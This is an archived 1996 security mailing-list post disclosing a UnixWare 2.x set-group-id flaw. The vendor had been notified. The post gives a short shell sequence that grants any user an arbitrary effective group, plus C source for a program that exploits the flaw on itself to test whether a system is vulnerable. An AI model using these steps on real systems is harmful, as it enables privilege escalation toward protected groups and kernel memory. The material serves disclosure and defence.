From:	SMTP%"proff@suburbia.net"  2-SEP-1996 11:21:26.29
To:	EVERHART
CC:	
Subj:	BoS: More on the UnixWare problem

Resent-Date: Mon, 2 Sep 1996 00:21:12 +1000
Date: Mon, 2 Sep 1996 00:21:06 +1000
From: Julian Assange <proff@suburbia.net>
Message-Id: <199609011421.AAA19562@suburbia.net>
To: best-of-security@suburbia.net
Resent-Message-ID: <"y81952.0.qn4.MlPAo"@suburbia>
Resent-From: best-of-security@suburbia.net
X-Mailing-List: <best-of-security@suburbia.net> archive/latest/310
X-Loop: best-of-security@suburbia.net
Precedence: list
Resent-Sender: best-of-security-request@suburbia.net
Subject: BoS: More on the UnixWare problem


I'm afraid to do this, but all, here's the source to that binary I posted.
Read it and gasp.  :( The vendor's been notified but it'll be a while before
I see action.  I've contacted them; there's a trouble ticket open; I've also
just learned that someone has leaked the details and it's flowing around the
net already.  CRINGE!

You'll note that I took pains to hide the program's function, for good
reason.  I'd been through runaround at SCO for some time (I spent more than
an hour on hold today alone <yikes>), but finally it was demonstrated to me
by the following command sequence by a kind SCO engineer that on UnixWare
2.x (not just 2.0x, but 2.1 as well), the set-group-id privilege can be
compromised by *any user*.

% cp /usr/bin/ksh .
% chmod 2700 ./ksh
% chgrp 23456 ./ksh
% ./ksh
> id

And 'id' reports effective group ID of 23456.  Oh, s**t.  Watch out,
/dev/kmem.  How about mode 775 directories?  What, you say /usr/bin comes
that way by default, group 'bin'?  Someone get me a bottle of Advil.  Oh,
it's a high-security system?  Make that a double--of codeine.

=====

#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#define KEYMATCH "\x1D\xFC\x3A\x2FMZ"
#define TESTGRP 17186

int main(int argc, char **argv) {
        struct stat st, *s = &st;
        pid_t p;

        if (argc == 2 && !strcmp(argv[1], KEYMATCH)) {
                if (getegid() == TESTGRP) {
                        unsigned long r;

                        srandom(time(NULL));
                        r = (unsigned long)random();
                        r = (r & 0xFFFF00FF) | ((r & 0xFF000000 >> 16) ^
                                (r & 0x00FF0000 >> 8) ^
                                (r & 0x000000FF << 8));
                        fprintf(stderr, "%s: system vulnerable code 0x%lX\n",
                                argv[0], r);
                } else {
                        fprintf(stderr, "%s: system not vulnerable\n",
                                argv[0]);
                }
                return 0;
        }
        if (argc > 1) {
                fprintf(stderr, "%s: don't supply any arguments\n", argv[0]);
                return 0;
        }
        if (!strchr(argv[0], '/')) {
                fprintf(stderr, "%s: user error: run me with a pathname, not in $PATH\n",
                        argv[0]);
                return 0;
        }
        if (stat(argv[0], s)) {
                fprintf(stderr, "%s: system error: cannot stat my binary?\n", argv[0]);
                return 0;
        }
        if (s->st_uid != geteuid() && s->st_uid != getuid()) {
                fprintf(stderr, "%s: user error: does this uid own my binary?\n",
                        argv[0]);
                return 0;
        }
        chown(argv[0], -1, TESTGRP);
        if (chmod(argv[0], 02700)) {
                chown(argv[0], -1, s->st_gid);
                chmod(argv[0], s->st_mode);
                fprintf(stderr, "%s: user error: cannot chmod my own binary?\n",
                        argv[0]);
                return 0;
        }
        if ((p = vfork()) == -1) {
                fprintf(stderr, "%s: system error: cannot fork\n",
                        argv[0]);
                return 0;
        }
        if (!p) {
                execl(argv[0], argv[0], KEYMATCH, NULL);
                fprintf(stderr, "%s: system error: cannot exec\n",
                        argv[0]);
                _exit(0);
        }
        chown(argv[0], -1, s->st_gid);
        chmod(argv[0], s->st_mode);
        return 0;
}

